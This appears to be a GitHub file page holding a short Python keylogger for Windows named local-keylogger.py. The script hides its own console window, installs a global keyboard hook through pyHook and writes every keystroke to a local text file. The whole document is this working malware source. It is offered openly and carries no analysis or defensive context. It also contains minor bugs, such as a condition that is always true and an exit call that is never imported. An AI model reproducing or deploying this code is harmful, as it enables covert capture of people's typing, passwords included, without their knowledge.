-
-
Notifications
You must be signed in to change notification settings - Fork 41
Expand file tree
/
Copy pathlocal-keylogger.py
More file actions
26 lines (24 loc) · 685 Bytes
/
local-keylogger.py
File metadata and controls
26 lines (24 loc) · 685 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import win32api
import win32console
import win32gui
import pythoncom,pyHook
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
f=open('c:\Users\your_username_here\path_to_your_file\output.txt','r+')
buffer=f.read()
f.close()
f=open('c:\Users\your_username_here\path_to_your_file\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()